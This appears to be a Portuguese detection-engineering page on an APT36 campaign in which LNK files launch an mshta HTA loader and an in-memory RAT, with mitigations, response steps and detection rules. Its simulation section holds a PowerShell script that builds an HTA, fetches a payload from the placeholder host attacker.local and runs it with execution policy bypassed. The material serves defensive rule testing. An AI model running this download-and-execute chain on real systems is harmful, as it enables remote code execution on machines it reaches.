APT36: Campanha de Malware LNK em Multi-Estágios Alvejando Entidades Governamentais Indianas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que entregou um atalho LNK malicioso disfarçado como um PDF. Ao ser aberto, o atalho inicia mshta.exe para executar um carregador baseado em HTA que descriptografa e executa cargas na memória, incluindo um módulo de configuração e uma DLL RAT com recursos completos. O malware seleciona dinamicamente métodos de persistência com base no produto antivírus instalado pela vítima e se conecta ao seu servidor de comando e controle por meio de um canal criptografado. A atividade é avaliada como focada em espionagem, visando organizações governamentais e acadêmicas indianas para roubar dados.
Investigação
Pesquisadores analisaram o arquivo LNK incomumente grande, rastrearam o conteúdo HTA incorporado hospedado em innlive.in, e reverteram a engenharia da lógica de descriptografia. A cadeia revelou duas etapas principais: uma carga útil de desserialização .NET usada para enfraquecer ou contornar verificações de segurança, seguida por uma DLL maliciosa sem arquivo (por exemplo, ki2mtmkl.dll / iinneldc.dll) fornecendo funcionalidade RAT. O comportamento de persistência foi mapeado para produtos antivírus específicos, e detalhes chave de C2—como porta TCP 8621 e uma chave AES usada para tráfego criptografado—foram extraídos durante a análise.
Mitigação
Restrinja ou coloque em quarentena anexos de atalho (.lnk) entregues via e-mail, especialmente quando compactados em arquivos ZIP. Aplique políticas de controle de aplicação para limitar a execução de mshta.exe, PowerShell e outros motores de script a partir de caminhos graváveis pelo usuário. Use detecções de endpoint para cadeias de processos envolvendo mshta.exe e indicadores de execução DLL na memória, e aplique controles rígidos de saída para bloquear a comunicação com domínios desconhecidos ou não confiáveis.
Resposta
Se a execução de LNK suspeito for detectada, isole o sistema, capture imagens de memória e procure por indicadores DLL na memória associados ao estágio RAT. Bloqueie domínios maliciosos identificados e infraestrutura de IP relacionada, e altere credenciais potencialmente expostas. Realize uma revisão forense para localizar artefatos de persistência na pasta de inicialização e no registro, remova-os e valide que nenhum ponto de apoio adicional permanece.
Fluxo de Ataque
Detecções
Possível Arquivo LNK Malicioso com Dupla Extensão (via cmdline)
Visualizar
Comportamento Suspeito de Evasão de Defesa LOLBAS MSHTA pela Detecção de Comandos Associados (via process_creation)
Visualizar
Binários / Scripts Suspeitos em Local de Inicialização Automática (via file_event)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via file_event)
Visualizar
Execução Suspeita a partir do Perfil de Usuário Público (via process_creation)
Visualizar
IOCs (SourceIP) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
IOCs (HashSha256) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
IOCs (DestinationIP) para detectar: APT36 : Campanha Maliciosa de LNK de Múltiplos Estágios Alvejando Entidades do Governo Indiano
Visualizar
Execução de mshta.exe com PowerShell ou CMD [Criação de Processo Windows]
Visualizar
Detecção de Domínio Malicioso e Comunicação C2 do APT36 [Conexão de Rede Windows]
Visualizar
Detecção de Chave AES Codificada em Campanha APT36 [Windows Sysmon]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Telemetria e Linha de Base Pré-voo deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos do Ataque:
Um adversário obteve acesso ao PowerShell com privilégios baixos em uma estação de trabalho comprometida. Para executar uma carga remota sem escrever um executável no disco, o invasor usamshta.exepara executar um arquivo HTA que obtém uma backdoor em PowerShell de um servidor C2. Os passos são:- Codifique um HTA malicioso mínimo que inicia o PowerShell para baixar e executar uma carga.
- Hospede o HTA em um servidor web (por exemplo,
http://attacker.local/malicious.hta). - A partir da sessão do PowerShell comprometida, invoque
mshta.execom a URL remota como um argumento.
Esta cadeia cria um evento de criação de processo onde
mshta.exeé o processo filho depowershell.exe, correspondendo exatamente à regra Sigma. -
Script de Teste de Regressão:
#------------------------------------------------- # Roteiro de ataque simulado - aciona a regra #------------------------------------------------- # 1. Defina o HTA malicioso (inline para fins de demonstração) $htaContent = @" <script> // Baixe e execute uma carga de PowerShell dummy var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Escreva o HTA para localização temporária (simulando um arquivo hospedado) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Inicie mshta.exe a partir do PowerShell (o gatilho de detecção) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Iniciando mshta.exe para executar a carga do HTA..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Opcional: Pause para permitir que o evento seja capturado Start-Sleep -Seconds 5 # Limpeza (tratada na próxima seção) -
Comandos de Limpeza:
# Remover arquivo HTA temporário Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Pare quaisquer processos mshta.exe remanescentes (improvável após execução normal) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpeza concluída."